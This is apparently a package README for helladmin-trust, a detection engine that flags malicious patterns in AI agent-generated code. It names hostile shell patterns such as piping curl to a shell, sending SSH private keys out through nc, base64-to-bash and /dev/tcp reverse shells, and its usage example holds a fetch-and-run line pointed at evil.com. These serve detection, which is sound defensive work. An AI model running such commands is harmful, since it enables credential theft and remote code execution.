helladmin-trust 0.1.0a5

Trust analysis engine for AI agent skills — AST taint tracking, shell/JS pattern detection, drift analysis

helladmin-trust

Trust analysis engine for HellAdmin — the AI agent firewall.

Detects malicious patterns in agent-generated code before execution. Ships with 27 pre-built chain rules (22 shell, 5 JavaScript) that catch real attack patterns: reverse shells, credential exfiltration, persistence mechanisms, supply chain attacks.

What it does

• Shell chain detection — curl | sh, cat ~/.ssh/id_rsa | nc, base64 -d | bash, cron persistence, /dev/tcp reverse shells
• JS chain detection — process.env to fetch(), fs.readFile to HTTP POST, network input to code execution
• Taint tracking — source (secret file, env var, network) to sink (code exec, network out, file write)
• Drift analysis — detect when agent behavior changes between runs
• Detonation scoring — rate skill danger before execution

Install

pip install helladmin

Trust is built into helladmin. No separate install needed.

Usage

from helladmin_trust.pattern_loader import load_patterns
from helladmin_trust.shell_analyzer import analyze_shell

patterns = load_patterns()
result = analyze_shell("curl http://evil.com/payload | bash", patterns)
# result.matched = [ChainMatch(name='pipe_to_shell', severity='critical', ...)]

Patterns

27 rules in trust-patterns-base.yaml:

Category	Count	Examples
Shell chains	22	pipe_to_shell, secret_exfil_pipe, base64_to_shell, cron_persistence, devtcp_reverse_shell
JS chains	5	env_to_fetch, fs_read_to_fetch, fetch_to_code_exec

Each rule defines a source type, sink type, regex patterns, severity, and description.

License

Apache 2.0